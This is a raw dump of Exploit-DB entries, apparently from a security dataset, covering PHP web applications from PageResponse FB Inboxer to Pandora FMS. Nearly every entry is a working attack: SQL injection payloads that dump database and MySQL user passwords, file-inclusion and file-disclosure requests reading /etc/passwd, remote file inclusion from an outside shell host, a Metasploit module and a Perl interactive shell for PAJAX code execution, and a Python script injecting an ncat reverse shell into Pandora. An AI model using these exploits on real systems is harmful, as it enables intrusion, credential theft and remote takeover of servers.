deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45129
Description: PageResponse FB Inboxer Add-on 1.2 - 'search_field' SQL Injection
Type: webapps
Platform: php
Date: 2018-08-02
Author: AkkuS

Exploit:
# Exploit Title: FB Inboxer 1.2 - 'search_field' SQL Injection
# Google Dork: N/A
# Date: 02.08.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/pageresponse-a-fb-inboxer-addon-facebook-auto-commentprivate-reply-likeshare-for-full-page/21486371
# Version: 1.2
# Tested on: Kali linux
====================================================
Description : The vulnerability allows an attacker to inject sql commands
from the search section with 'search_field' parameter in the management
panel.

# Demo : http://server/home/login
# PoC : SQLi :

http://server/admin/user_management/ajax_list_info

POST /admin/user_management/ajax_list_info HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://server/admin/user_management
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 91
Cookie: ci_session=8v3965595vs5h1gcufa8kmkl8uti8ccr;
crud_page_c2dc7c9e0776f8cb12c51196de4108be=2;
per_page_c2dc7c9e0776f8cb12c51196de4108be=15;
hidden_ordering_c2dc7c9e0776f8cb12c51196de4108be=asc;
hidden_sorting_c2dc7c9e0776f8cb12c51196de4108be=id;
search_text_c2dc7c9e0776f8cb12c51196de4108be=tes;
search_field_c2dc7c9e0776f8cb12c51196de4108be=name
Connection: keep-alive
search_text=tes&search_field=name&per_page=15&order_by%5B0%5D=id&order_by%5B1%5D=asc&page=1


Parameter: search_field (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
    Payload: search_text=tes&search_field=name AND (SELECT 4580 FROM(SELECT
COUNT(*),CONCAT(0x71716a7671,(SELECT
(ELT(4580=4580,1))),0x[PII_REDACTED],FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY
x)a)&per_page=15&order_by[0]=id&order_by[1]=asc&page=1

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: search_text=tes&search_field=name AND
SLEEP(5)&per_page=15&order_by[0]=id&order_by[1]=asc&page=1

====================================================
Exploit-DB #29681
Description: Pagesetter 6.2/6.3.0 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-02-26
Author: D. Matscheko

Exploit:
source: https://www.securityfocus.com/bid/22733/info

Pagesetter is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

Pagesetter 6.3.0 beta 5 and prior versions are vulnerable to this issue. 

http://www.example.com/index.php?module=Pagesetter&type=file&func=preview&id=../../../../../../../../../etc/passwd%00
Exploit-DB #5899
Description: PageSquid CMS 0.3 Beta - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-22
Author: CWH Underground

Exploit:
=====================================================================
  PageSquid CMS (index.php page) Remote SQL Injection Vulnerability
=====================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 22 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : PageSquid CMS
 VERSION     : 0.3 Beta
 DOWNLOAD    : http://downloads.sourceforge.net/pagesquid
#####################################################

--- Remote SQL Injection Exploit ---

**Magic_quote must turn off**

-----------------------------------
 Vulnerable File [index.php?page=]
-----------------------------------

@Line 5

   4:  if (isset($_GET['page'])) {
   5:		$result = mysql_fetch_array(mysql_query("SELECT  * FROM pages WHERE page_id='" . $_GET['page'] . "'"));
   6:  } else {
   7:		$result = mysql_fetch_array(mysql_query("SELECT  * FROM pages WHERE page_order='1'"));
   8:  }

---------
 Exploit
---------
[+] http://[Target]/[pagesquid_path]/index.php?page=[SQL Injection]


-------------
 POC Exploit
-------------

[+] http://192.168.24.25/pagesquid/index.php?page=3'/**/AND/**/1=2/**/UNION/**/SELECT/**/1,Password,3,4/**/FROM/**/mysql.user/**/WHERE/**/User='root


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-22]
Exploit-DB #4107
Description: Pagetool 1.07 - 'news_id' SQL Injection
Type: webapps
Platform: php
Date: 2007-06-25
Author: Katatafish

Exploit:
###pagetool-1.07 Remote SQL Injection###
#
#download:http://kent.dl.sourceforge.net/sourceforge/pagetool/pagetool-1.07.tar.gz
#
#Found by: Katatafish (karatatata@hush.com)
#
#Dork: "powered by Pagetool"
#
#Thanks: str0ke
#
########################################

#PoC
http://www.site.com/[path]/index.php?name=pagetool_news&news_id=-1/**/union/**/all/**/select/**/null,/**/null,/**/CONCAT(0x557365726E346D653A20,/**/username),/**/CONCAT(0x[PII_REDACTED]3072643A20,/**/passwd),/**/null/**/from/**/pt_core_users/**/where/**/user_id=1

# milw0rm.com [2007-06-25]
Exploit-DB #31116
Description: Pagetool 1.07 - 'search_term' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-02-06
Author: Phanter-Root

Exploit:
source: https://www.securityfocus.com/bid/27653/info

Pagetool is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Pagetool 1.0.7 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/index.php?name=pagetool_search&search_term=[XSS]
Exploit-DB #7255
Description: pagetree CMS 0.0.2 Beta 0001 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-11-27
Author: NoGe

Exploit:
=============================================================================================================


  [o] PageTree CMS 0.0.2 BETA 0001 Remote File Inclusion Vulnerability

       Software : PageTree CMS version 0.0.2 BETA 0001
       Vendor   : http://pagetreecms.co.cc/
       Download : http://pagetree.googlecode.com/svn/trunk/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


=============================================================================================================


  [o] Vulnerable file

       admin/plugins/Online_Users/main.php

        include($GLOBALS['PT_Config']['dir']['data']."content/1.php");



  [o] Exploit

       http://localhost/[path]/admin/plugins/Online_Users/main.php?GLOBALS[PT_Config][dir][data]=[evilcode]


=============================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/blog/]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11 martfella
       skulmatic olibekas ulga Cungkee k1tk4t str0ke

       GANYANG MALINGSIAL!!! [ http://malingsial.serverisdown.org/ ]

        
=============================================================================================================

# milw0rm.com [2008-11-27]
Exploit-DB #3783
Description: Pagode 0.5.8 - 'navigator_ok.php?asolute' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-04-23
Author: GoLd_M

Exploit:
# Pagode 0.5.8(navigator_ok.php asolute)Remote File Disclosure
# D.Script:http://belnet.dl.sourceforge.net/sourceforge/pagode/pagode-0.5.8.tar.gz
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# V.Code In /navigator/navigator_ok.php: 
###################/navigator/navigator_ok.php###################
#  <?
#  	session_cache_limiter('none');
#	session_start();
#	include ('../includes/functions.php');
#
#	header("Content-Type: application/save-as");
#	header("Content-Length: $file_size");
#	header("Content-Disposition: attachment; filename=$file_name");
#	header("Content-Transfer-Encoding: binary");
#	readfile($asolute); <----[+]
#	exec("rm -Rf $asolute");
#  ?>
#################################################################
# Exploit:[Path_Pagode]/navigator/navigator_ok.php?asolute=../../../../../../etc/passwd
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group & 020

# milw0rm.com [2007-04-23]
Exploit-DB #51235
Description: Paid Memberships Pro  v2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection
Type: webapps
Platform: php
Date: 2023-04-03
Author: r3nt0n

Exploit:
#!/usr/bin/env python
# Exploit Title: Paid Memberships Pro  v2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection
# Exploit Author: r3nt0n
# CVE: CVE-2023-23488
# Date: 2023/01/24
# Vulnerability discovered by Joshua Martinelle
# Vendor Homepage: https://www.paidmembershipspro.com
# Software Link: https://downloads.wordpress.org/plugin/paid-memberships-pro.2.9.7.zip
# Advisory: https://github.com/advisories/GHSA-pppw-hpjp-v2p9
# Version: < 2.9.8
# Tested on: Debian 11 - WordPress 6.1.1 - Paid Memberships Pro 2.9.7
#
# Running this script against a WordPress instance with Paid Membership Pro plugin
# tells you if the target is vulnerable.
# As the SQL injection technique required to exploit it is Time-based blind, instead of
# trying to directly exploit the vuln, it will generate the appropriate sqlmap command
# to dump the whole database (probably very time-consuming) or specific chose data like
# usernames and passwords.
#
# Usage example: python3 CVE-2023-23488.py http://127.0.0.1/wordpress

import sys
import requests

def get_request(target_url, delay="1"):
    payload = "a' OR (SELECT 1 FROM (SELECT(SLEEP(" + delay + ")))a)-- -"
    data = {'rest_route': '/pmpro/v1/order',
            'code': payload}
    return requests.get(target_url, params=data).elapsed.total_seconds()

print('Paid Memberships Pro < 2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection\n')
if len(sys.argv) != 2:
    print('Usage: {} <target_url>'.format("python3 CVE-2023-23488.py"))
    print('Example: {} http://127.0.0.1/wordpress'.format("python3 CVE-2023-23488.py"))
    sys.exit(1)

target_url = sys.argv[1]
try:
    print('[-] Testing if the target is vulnerable...')
    req = requests.get(target_url, timeout=15)
except:
    print('{}[!] ERROR: Target is unreachable{}'.format(u'\033[91m',u'\033[0m'))
    sys.exit(2)

if get_request(target_url, "1") >= get_request(target_url, "2"):
    print('{}[!] The target does not seem vulnerable{}'.format(u'\033[91m',u'\033[0m'))
    sys.exit(3)
print('\n{}[*] The target is vulnerable{}'.format(u'\033[92m', u'\033[0m'))
print('\n[+] You can dump the whole WordPress database with:')
print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump'.format(target_url))
print('\n[+] To dump data from specific tables:')
print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump -T wp_users'.format(target_url))
print('\n[+] To dump only WordPress usernames and passwords columns (you should check if users table have the default name):')
print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump -T wp_users -C user_login,user_pass'.format(target_url))
sys.exit(0)
Exploit-DB #43334
Description: Paid To Read Script 2.0.5 - 'uid' / 'fnum' / 'fn' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-14
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Paid To Read Script 2.0.5 - SQL Injection
# Dork: N/A
# Date: 13.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/paid-to-read-script/
# Version: 2.0.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-17651
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/admin/userview.php?uid=[SQL]
# 
# -9++/*!08888UNION*/(/*!08888SELECT*/(1)%2c(2)%2c(3)%2c(4)%2c(5)%2c(6)%2c(7)%2c(8)%2c(9)%2c(10)%2c(11)%2c(12)%2c(13)%2c(14)%2c(15)%2c(16)%2c(17)%2c(18)%2c(19)%2c(20)%2c(21)%2c(22)%2c(23)%2c(24)%2c(25)%2c(26)%2c(27)%2c(28)%2c(29)%2c(30)%2c(31)%2c(32)%2c(33)%2c(34)%2c(35)%2c(36)%2c(37)%2c(38)%2c(39)%2c(40)%2c(41)%2c(42)%2c(43)%2c(44)%2c(45)%2c(46)%2c(47)%2c(48)%2c(/*!08888Select*/+export_set(5%2c@:=0%2c(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5%2cexport_set(5%2c@%2c/*!08888table_name*/%2c0x3c6c693e%2c2)%2c/*!08888column_name*/%2c0xa3a%2c2))%2c@%2c2))%2c(50)%2c(51)%2c(52)%2c(53)%2c(54)%2c(55)%2c(56)%2c(57)%2c(58)%2c(59)%2c(60)%2c(61)%2c(62)%2c(63)%2c(64)%2c(65)%2c(66)%2c(67)%2c(68))--+-
# 
# 	
# 2)
# http://localhost/[PATH]/admin/viewemcamp.php?fnum=[SQL]
# 
# -1++/*!08888UNION*/(/*!08888SELECT*/+0x[PII_REDACTED]31253239%2cCONCAT_WS(0x203a20%2cUSER()%2cDATABASE()%2cVERSION())%2c0x[PII_REDACTED]33253239%2c0x[PII_REDACTED]34253239%2c0x[PII_REDACTED]35253239%2c0x[PII_REDACTED]36253239%2c0x[PII_REDACTED]37253239%2c0x[PII_REDACTED]38253239%2c0x[PII_REDACTED]39253239%2c0x[PII_REDACTED][PII_REDACTED]3239)--+-
# 
# 
# 3)
# http://localhost/[PATH]/admin/viewvisitcamp.php?fn=[SQL]
# 
# -6++/*!50000UNION*/(/*!50000SELECT*/0x[PII_REDACTED]31253239%2c0x[PII_REDACTED]32253239%2c0x[PII_REDACTED]33253239%2c0x[PII_REDACTED]34253239%2cCONCAT_WS(0x203a20%2cUSER()%2cDATABASE()%2cVERSION())%2c0x[PII_REDACTED]36253239%2c0x[PII_REDACTED]37253239%2c0x[PII_REDACTED]38253239%2c0x[PII_REDACTED]39253239%2c0x[PII_REDACTED][PII_REDACTED]3239%2c0x[PII_REDACTED][PII_REDACTED]3239%2c0x[PII_REDACTED][PII_REDACTED]3239%2c0x[PII_REDACTED][PII_REDACTED]3239%2c0x[PII_REDACTED][PII_REDACTED]3239)--+-
# 
# 	
# # # # #
Exploit-DB #16901
Description: PAJAX - Remote Command Execution (Metasploit)
Type: webapps
Platform: php
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: pajax_remote_exec.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PAJAX Remote Command Execution',
			'Description'    => %q{
					RedTeam has identified two security flaws in PAJAX (<= 0.5.1).
				It is possible to execute arbitrary PHP code from unchecked user input.
				Additionally, it is possible to include arbitrary files on the server
				ending in ".class.php".
			},
			'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					['CVE', '2006-1551'],
					['OSVDB', '24618'],
					['BID', '17519'],
					['URL', 'http://www.redteam-pentesting.de/advisories/rt-sa-2006-001.php'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					'Space'       => 4000,
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Mar 30 2006',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('URI', [true, "The full URI path to pajax_call_dispatcher.php", "/pajax/pajax/pajax_call_dispatcher.php"]),
				OptString.new('MOD', [true, "The PAJAX module name", "Calculator"])
			], self.class)
	end


	def exploit

		args = %Q!{ "id": "bb2238f1186dad8d6370d2bab5f290f71", "className": "#{datastore['MOD']}", "method": "add(1,1);#{payload.encoded};$obj->add", "params": ["1", "5"] }!

		res = send_request_cgi({
			'uri'      => datastore['URI'],
			'method'   => 'POST',
			'data'     => args,
			'ctype'    => 'text/x-json'
		}, 25)

		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
		else
			print_status("No response from the server")
		end
	end

end
Exploit-DB #1672
Description: PAJAX 0.5.1 - Remote Code Execution
Type: webapps
Platform: php
Date: 2006-04-13
Author: Stoney

Exploit:
#!/usr/bin/perl

use IO::Socket;

print "PAJAX Remote Code Injection - code by: Stoney - exploit found
by: RedTeam\n";

if ($ARGV[0] && $ARGV[1])
{
 $host = $ARGV[0];
 $path = $ARGV[1];
 $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host",
PeerPort => "80") || die "connecterror\n";
 while (1) {
   print '['.$host.']# ';
   $cmd = <STDIN>;
   chop($cmd);
   last if ($cmd eq 'exit');
   $ajaxdata = "{\"id\": \"bb2238f1186dad8d6370d2bab5f290f71\", \"className\": \"Calculator\", \"method\": \"add(1,1);system($cmd);\$obj->add\", \"params\": [\"1\", \"5\"]}";

   print $sock "POST ".$path." HTTP/1.1\n";
   print $sock "Host: ".$host."\n";
   print $sock "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
   print $sock "Content-Type: text/json\n";
   print $sock "Content-Length:".length($ajaxdata)."\n\n".$ajaxdata;
   while ($ans = <$sock>)
      {
       print "$ans";
      }
  }
 }
else {
 print "Usage: perl ajax.pl [host] [path_to_ajax]\n\n";
exit;
}

# milw0rm.com [2006-04-13]
Exploit-DB #2599
Description: pandaBB - 'displayCategory' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-19
Author: nukedclx

Exploit:
:::::::::  :::::::::: :::     ::: ::::::::::: :::
:+:    :+: :+:        :+:     :+:     :+:     :+:
+:+    +:+ +:+        +:+     +:+     +:+     +:+
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+
+#+    +#+ +#+         +#+   +#+      +#+     +#+
#+#    #+# #+#          #+#+#+#       #+#     #+#
#########  ##########     ###     ########### ##########

::::::::::: ::::::::::     :::     ::::    ::::
    :+:     :+:          :+: :+:   +:+:+: :+:+:+
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+
    +#+     +#+        +#+     +#+ +#+       +#+
    #+#     #+#        #+#     #+# #+#       #+#
    ###     ########## ###     ### ###       ###

   - - [DEVIL TEAM THE BEST POLISH TEAM] - -

pandaBB (basepath;adminpath) Remote File Include
[Script name: pandaBB
[Script site: http://phpnuke.pl
Find by: nukedclx (nukedclx@gmail.com)

DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
Contact:
- kacper1964@yahoo.pl
- http://www.rahim.webd.pl/
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greetings DragonHeart and all DEVIL TEAM Patriots :)
- Leito & Leon & Kacper
TomZen, Gelo, Ramzes, DMX, Ci2u, Larry, @steriod, Drzewko., CrazzyIwan, Rammstein
Adam., Kicaj., DeathSpeed, Arkadius, Michas, pepi, SkD, MXZ, sysios, mIvus, wacky


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
in modules/My_eGallery/public/displayCategory.php

lines 1-3:
<?php
include ("$basepath/public/imageFunctions.php");
include ("$adminpath/fileFunctions.php");

%Exploit
        http://host/pandadir/modules/My_eGallery/public/displayCategory.php?adminpath=http://sh3ll
        http://host/pandadir/modules/My_eGallery/public/displayCategory.php?basepath=http://sh3ll

# milw0rm.com [2006-10-19]
Exploit-DB #47898
Description: Pandora 7.0NG - Remote Code Execution
Type: webapps
Platform: php
Date: 2020-01-10
Author: Askar

Exploit:
# Exploit Title: Pandora 7.0NG - Remote Code Execution
# Date: 2019-11-14
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2019-20224
# Vendor Homepage: https://pandorafms.org/
# Software link: https://pandorafms.org/features/free-download-monitoring-software/
# Version: v7.0NG
# Tested on: CentOS 7.3 / PHP 5.4.16

#!/usr/bin/python3

import requests
import sys

if len(sys.argv) != 6:
    print("[+] Usage : ./exploit.py target username password ip port")
    exit()

target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = int(sys.argv[5])

request = requests.session()

login_info = {
    "nick": username,
    "pass": password,
    "login_button": "Login"
}

login_request = request.post(
    target+"/pandora_console/index.php?login=1",
    login_info,
    verify=False,
    allow_redirects=True
 )

resp = login_request.text

if "User not found in database" in resp:
    print("[-] Login Failed")
    exit()
else:
    print("[+] Logged In Successfully")

print("[+] Sending crafted graph request ..")

body_request = {
    "date": "0",
    "time": "0",
    "period": "0",
    "interval_length": "0",
    "chart_type": "netflow_area",
    "max_aggregates": "1",
    "address_resolution": "0",
    "name": "0",
    "assign_group": "0",
    "filter_type": "0",
    "filter_id": "0",
    "filter_selected": "0",
    "ip_dst": "0",
    "ip_src": '";ncat -e /bin/bash {0} {1} #'.format(ip, port),
    "draw_button": "Draw"
}

draw_url = target + "/pandora_console/index.php?sec=netf&sec2=operati=on/netflow/nf_live_view&pure=0"
print("[+] Check your netcat ;)")
request.post(draw_url, body_request)